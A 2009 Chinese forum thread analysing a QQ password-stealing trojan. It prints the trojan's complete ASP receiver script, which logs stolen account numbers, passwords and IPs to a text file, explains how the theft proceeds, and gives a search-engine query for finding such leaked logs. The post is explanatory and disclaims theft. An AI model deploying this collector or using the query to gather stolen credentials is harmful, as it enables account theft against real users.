分析黑客盗取QQ密码

saibei · 发表于 2009-10-10 07:20:47

分析黑客盗取QQ密码
前两天看到一篇文章，说的是网民利用谷歌搜索引擎可以搜索到QQ密码，而本人对文中的观点要进行一下纠正。接触过网络安全的人应该都知道，那样搜索到的QQ密码的页面其实就是一些所谓的黑客在配置QQ木马时候所填写的接收QQ密码的页面。QQ木马有两种方式接收盗来的QQ密码，一个是邮箱，一个是空间，而空间接收是最直接也是最保险的，因为有些邮箱是不支持的。而且用网页接收一般是用支持asp的空间，它需要一个接收密码的的脚本。接收到密码后会在网站同目录创建一个.txt文件并将账号密码存进这个文本里。

　　我上网找了个QQ木马，叫金狐QQ大盗，里面就带有一个QQ.asp 我把内容贴出来给大家看看。如下：

<%
strLogFile="2008jhqqxx.txt"
QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
QQclub=request("QQclub")
QQip=request("QQip")

if QQNumber="" or QQPassWord="" then
　 response.write "jhQQ"
　 response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "&time

set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing

response.write "发送成功!"
%>

saibei · 发表于 2009-10-10 07:21:14

大概意思就是当有人中QQ木马时会自动与此页面通信，并将受害者二次输入的QQ信息在当前目录下以以下形式存入一个命名为2008jhqqxx.txt的文档里，

　　QQ号---QQ密码---会员：是否---QQ登陆IP---具体时间

　　可见QQ木马是很强大的。

　　下面我给大家讲解下整个盗号过程。

　　以我的网站 .cash568.com为例，我准备配置了一个QQ木马，将那个QQ.asp上传到我网站的根目录，用 .cash568.com/QQ.asp 配置出一个木马，用一些手段诱使别人运行。比如一个QQ用户不小心运行了，那么那人的QQ会在短时间内掉线，并要求重新登陆，当那人重新登陆时，QQ木马就已经将所记录的详细信息传递给了 .cash568.com/QQ.asp这个页面，并进行处理，也就是上面所讲的，以那种方式将所得信息录入2008jhqqxx.txt这个文本里，而我只需要查看下 .cash568.com/2008jhqqxx.txt这个页面也就能轻松看到盗来的QQ密码了。而一些做坏事的人没有将此页面加入robot.txt，所以搜索引擎有可能将此页面收录，而别人通过在搜索引擎里键入inurl:2008jhqqxx.txt（这句话的意思就是搜索网站地址中含有2008jhqqxx.txt的网页）就可以查看到别人盗来的QQ密码信息了。所以说那篇文章里所提到的腾讯称盗号者在炫耀这个观点是错误的，不但是谷歌，百度也一样，因为都具有这样的命令。当然，那些干坏事的人可以修改下那个asp页面的代码，将2008jhqqxx.txt改为123.txt，那么密码自然就存储到了 .cash568.com/123.txt里了。

　　盗取别人的QQ号是令人不齿的也是触犯法律的行为，希望大家不要跟着学坏，而我只是抱着研究的态度写了这篇文章，盗号这事离我很遥远。最后希望大家注意网络安全，千万别让坏蛋计谋得逞。

wang_bokai · 发表于 2009-10-10 08:36:47

本帖最后由 wang_bokai 于 2009-10-10 08:40 编辑

沙发，呵呵。楼上这么早起来发帖，辛苦了。坚决蔑视盗号行为！！！

future54 · 发表于 2009-10-10 10:32:23

顶一个。。。版主很牛!学习一下。

lj198851 · 发表于 2009-10-12 22:10:11

打击盗号……哈哈哈哈哈哈哈哈哈……

chenacong · 发表于 2010-4-10 14:43:11

斑竹太牛了。。。。。。学习了。。。。。。。。。。。。。。

呼延觉罗宝 · 发表于 2010-5-1 19:33:46

哦，原来是这样的啊，，，，，。。顶一个。。。。。。。。。。。。。。。。。

醉酒擎牛 · 发表于 2010-7-20 14:40:50

顶一个。。。版主很牛!学习一下。

tongxin008 · 发表于 2010-7-20 15:43:53

哈哈。想学~~
百年软件

biaolielong · 发表于 2011-3-14 20:21:07

定一个啦，谢谢楼主啦，打击盗号

qq286318273 · 发表于 2011-5-16 11:19:48

没搜到哦